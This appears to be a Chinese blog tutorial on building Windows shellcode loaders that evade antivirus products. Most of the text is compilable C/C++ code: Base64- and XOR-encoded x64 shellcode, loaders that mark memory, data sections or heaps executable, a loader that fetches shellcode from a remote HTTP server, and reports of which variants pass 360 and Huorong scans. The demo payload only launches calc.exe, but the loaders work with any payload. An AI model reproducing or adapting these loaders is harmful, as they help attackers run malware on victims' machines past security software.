/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA

image-20250331124459091

工具生成应该也没啥问题

然后我们用加载器加载一下这段shellcode就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <wincrypt.h>

#pragma comment(lib,"Crypt32.lib")
//弹计算器
unsigned char shellcode[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
unsigned int calc_len = sizeof(shellcode);

int DecodeBase64(const BYTE* src, unsigned int srcLen, char* dst, unsigned int dstLen) {
DWORD outLen;
BOOL fRet;
outLen = dstLen;
//CryptStringToBinary(源地址,长度,类型,返回序列地址,返回序列长度)
//成功执行后返回1
fRet = CryptStringToBinaryA((LPCSTR)src, srcLen, CRYPT_STRING_BASE64, (BYTE*)dst, &outLen, NULL, NULL);
if (!fRet) {
outLen = 0;//失败则返回0
}
return(outLen);//函数返回缓冲区大小

}

int main() {

LPVOID exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//解码shellcode
DecodeBase64((const BYTE*)shellcode, calc_len, (char*)exec_mem, calc_len);

((void(*)())exec_mem)();
return 0;
}

但是一般这种情况都会被杀,360和火绒都过不了

这里请教了一下Strider师傅,他说shellcode这块使用异或就可以了,不行的话就多以或几次

但是这里笔者还是尝试一下分离加载,把码表和shellcode写到外部文件里边

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <wincrypt.h>

#pragma comment(lib, "Crypt32.lib")

void handleError(const char* msg) {
printf("%s: %d\n", msg, GetLastError());
exit(1);
}

int main() {
// 读取 Base64 shellcode
FILE* file = fopen("shellcode.txt", "rb");
if (!file) handleError("Failed to open shellcode.txt");

fseek(file, 0, SEEK_END);
unsigned int encodedLen = ftell(file);
rewind(file);

char* encoded_shellcode = (char*)malloc(encodedLen + 1);
if (!encoded_shellcode) handleError("Memory allocation failed");
fread(encoded_shellcode, 1, encodedLen, file);
fclose(file);
encoded_shellcode[encodedLen] = '\0';

// 计算解码后长度
unsigned int decodedLen = (encodedLen * 3) / 4;
decodedLen = (decodedLen + 4095) & ~4095; // 4KB 对齐

printf("encodedLen: %u, decodedLen: %u\n", encodedLen, decodedLen);

LPVOID exec_mem = VirtualAlloc(NULL, decodedLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!exec_mem) handleError("VirtualAlloc failed");

// Base64 解码
DWORD outLen = decodedLen;
BOOL success = CryptStringToBinaryA(encoded_shellcode, encodedLen, CRYPT_STRING_BASE64, (BYTE*)exec_mem, &outLen, NULL, NULL);
if (!success) {
handleError("Base64 decode failed");
}
free(encoded_shellcode);

// 修改内存权限
DWORD oldProtect;
if (!VirtualProtect(exec_mem, decodedLen, PAGE_EXECUTE_READ, &oldProtect)) {
handleError("VirtualProtect failed");
}

printf("Executing shellcode...\n");
((void(*)())exec_mem)();

return 0;
}

扫一下,发现火绒是可以过的,360还是不行。

Strider师傅说360还是建议黑加白过

shellcode内存加解密

shellcode内存加解密相对于之前的在程序运行时进行解密,那么释放到内存中的shellcode依旧是原始的,而在内存级别的自解密shellcode刚开始在内存中是一串未见到过的shellcode

SGN:一款功能强大的多模式二进制编码工具 - FreeBuf网络安全行业门户

1
2
3
4
sudo apt-get install libcapstone-dev
git clone git@github.com:EgeBalci/sgn.git
##############################################
#SGN 是一种多态二进制编码器,用于进攻性安全目的,例如生成静态不可检测的二进制有效负载。它使用加法反馈循环对给定的二进制指令进行编码,类似于 LSFR。 这个项目是 golang 中原始 Shikata ga nai 的重新实现,并进行了许多改进

shellcode分离

本地直接分离

简单来说,就是直接在加载器中读取文件(二进制文件raw)内容的形式取shellcode,然后加载运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

#define _CRT_SECURE_NO_WARNINGS // 解决 fopen_s 的警告
int main() {

// 读取shellcode文件
char filename[] = "shellcode.bin";
FILE* file;
if (fopen_s(&file, filename, "rb") != 0) {
perror("Failed to open the code file.");
return 1;
}
fseek(file, 0, SEEK_END);
long size = ftell(file);
fseek(file, 0, SEEK_SET);
char* code = (char*)malloc(size);
if (!code) {
perror("Failed to allocate memory for code.");
fclose(file);
return 1;
}
if (fread(code, 1, size, file) != size) {
perror("Failed to read code from the file.");
fclose(file);
free(code);
return 1;
}
fclose(file);
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (addr == NULL) {
return 1;
}
// 把shellcode拷贝到这块内存
memcpy(addr, code, size);
// 创建线程运行
HANDLE hThread = CreateThread(NULL,
NULL,
(LPTHREAD_START_ROUTINE)addr,
NULL,
NULL,
0);
// 等待线程运行
WaitForSingleObject(hThread, -1);
// 关闭线程
CloseHandle(hThread);
// 释放资源
free(code);

return 0;
}

分离到网络

跟本地的唯一区别就是需要发起网络请求,然后获取shellcode的内容(16进制字符串\xfc,不是bin文件)

1
2
python -m http.server 9996
#我们起一个web服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <windows.h>
#include <winhttp.h>
#include <iostream>
#include <vector>
#include <cstring>
#pragma comment(lib, "winhttp.lib")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 隐藏控制台

using namespace std;

char* WinGet(const char* ip, int port, const char* path) {
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
wchar_t ip_wchar[256], path_wchar[256];
MultiByteToWideChar(CP_ACP, 0, ip, -1, ip_wchar, 256);
MultiByteToWideChar(CP_ACP, 0, path, -1, path_wchar, 256);

hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession) return nullptr;

hConnect = WinHttpConnect(hSession, ip_wchar, port, 0);
if (!hConnect) { WinHttpCloseHandle(hSession); return nullptr; }

hRequest = WinHttpOpenRequest(hConnect, L"GET", path_wchar, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
if (!hRequest) { WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return nullptr; }

if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
!WinHttpReceiveResponse(hRequest, NULL)) {
WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession);
return nullptr;
}

DWORD dwSize = 0, dwDownloaded = 0;
vector<char> response;
char buffer[1024];
do {
if (!WinHttpQueryDataAvailable(hRequest, &dwSize) || dwSize == 0) break;
if (!WinHttpReadData(hRequest, buffer, min(dwSize, (DWORD)sizeof(buffer)), &dwDownloaded)) break;
response.insert(response.end(), buffer, buffer + dwDownloaded);
} while (dwSize > 0);

WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);

response.push_back('\0');
return _strdup(response.data()); // 需要手动释放
}

void stringtoint(const char* string, vector<unsigned char>& ary) {
while (*string) {
if (*string == '\\' && *(string + 1) == 'x') {
int high = isdigit(*(string + 2)) ? *(string + 2) - '0' : tolower(*(string + 2)) - 'a' + 10;
int low = isdigit(*(string + 3)) ? *(string + 3) - '0' : tolower(*(string + 3)) - 'a' + 10;
ary.push_back((high << 4) | low);
string += 4; // 跳过 "\xHH"
}
else {
string++;
}
}
}

int main() {
char ip[] = "192.168.1.110";
char path[] = "/p.txt";
char* data = WinGet(ip, 9998, path);
if (!data) return 1;

vector<unsigned char> shellcode;
stringtoint(data, shellcode);
free(data);

if (shellcode.empty()) return 1;

LPVOID addr = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!addr) return 1;

memcpy(addr, shellcode.data(), shellcode.size());

HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}

return 0;
}

注意我们的shellcode要连在一起

更改

image-20250402160351091

image-20250402161109184

现在写的都是静态查杀,动态的都会被查杀的哈

指针运行

申请内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

unsigned char sc[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
void main()
{
LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (addr == NULL) {
return;
}
memcpy(addr, sc, sizeof(sc));
((void(*)())addr)(); // addr强转成函数指针 , 加() , 调用函数 , 运行这块内存中的shellcode代码
}

前两个函数是没有变的,(void(*)()) 是一个函数指针类型的强制转换, 该函数指针指向一个没有参数且返回值类型为void的函数,

也就是说这行代码将 addr的地址转换为一个函数指针,然后调用该指针所指向的函数。

这里shellcode发现是会被杀的,决定用异或加密一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char buf[] = {
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63"
};
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(buf, sizeof(buf), key);

// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 申请失败,退出
if (addr == NULL) {
return 1;
}

// 把shellcode拷贝到这块内存
memcpy(addr, buf, sizeof(buf));

((void(*)())addr)();
}

很明显异或是没有杀的,但是动态还是会被杀的

修改内存属性

VirtualAlloc()其实按理来说也没有必要,因为shellcode本身,那就是字符串本身就会在内存空间里边存着,你不需要在程序中又使用代码去分配内存,去保存它。

BUT我们的内存本身是有属性的,默认保存数据的内存是不可执行的,只有读写的属性,如果让其变为可执行的,那么shellcode就可以正常执行了。

这里同样shellcode使用异或99进行加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char buf[] = {
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63"
};
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(buf, sizeof(buf), key);
DWORD oldProtect = 0;
// 修改数据内存属性为可执行
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
// 把这个内存的数据转成指针函数, 函数()调用 , 执行shellcode代码 , 不能执行就很奇怪
((void(*)())&buf)();

}

老样子还是静态是不会杀的,动态是会被杀的。

image-20250408185644794

修改data段属性

简单来说默认全局变量是存放在data段, 我们只要修改成data段的权限即可,修改为可执行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
#pragma comment(linker, "/section:.data,RWE")//设置 data段可读可写可执行

void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char buf[] = {
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63"
};
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(buf, sizeof(buf), key);
((void(*)()) & buf)();
}

发现还是动态过不了

新增数据段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
#pragma data_seg("vdata")
void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}


unsigned char buf[] = {
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63"
};

#pragma data_seg()
#pragma comment(linker,"/SECTION:vdata,RWE")
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(buf, sizeof(buf), key);
((void(*)()) & buf)();
}

//1. #pragma data_seg("vdata") : 这是一个编译器指令,用于告诉编译器将接下来的数据放置在名为
//"vdata" 的特殊数据段中。这个数据段是一个自定义命名的段,用于存储一些特殊的数据。
//2. #pragma data_seg() : 这个指令告诉编译器停止将数据放置在之前定义的特殊数据段中,即 "vdata"。
//3. #pragma comment(linker,"/SECTION:vdata,RWE") : 这是一个链接器指令,告诉链接器将 "vdata" 段标记为可(Read)、 可写(Write)、可执行(Execute)。这是为了确保在运行时可以修改这个段的内容,通常用于实现一些动态代码生成或者代码注入的技术

这里笔者的虚拟机里边的火绒是静态和动态都没杀,但是笔者试了一下别人的火绒是被杀了的(挠头)

通过堆加载

除了通过链接器修改数据段的内存属性外,还可以通过HeapCreate api获取一个具有执行权限的堆,并在其中分配一块内存,将其地址赋给shellcode,也是一种规避VirtualAlloc,VirtualProtect api的一种实现方法,通过指针运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char sc[] = { "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63"
};

int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(sc, sizeof(sc), key);

// 创建一个具有执行权限的堆,以存储shellcode
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(sc), 0);
// 在创建的堆中分配一块内存,并将其地址赋给buffer
char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(sc));
// 将shellcode复制到buffer指向的内存中
memcpy(buffer, sc, sizeof(sc));
// 将buffer指向的内存地址强制转换为一个函数指针,并调用该函数,执行shellcode
((void(*)()) buffer)();
}

shellcode存放在资源节

针对PE文件,我们可以设置其资源文件,把我们的shellcode文件当做资源文件导入,然后在程序中定位到资源文件的位置,读取相应的字节大小,加载执行

1、导入资源

我觉得这个资源就是shellcode.bin

image-20250411150706706

这里的shellcode是自己定义的,注意生成之后会给一个头文件resource.h,注意下面代码即可。

1
>#define IDR_SHELLCODE1                  101

image-20250411150820453

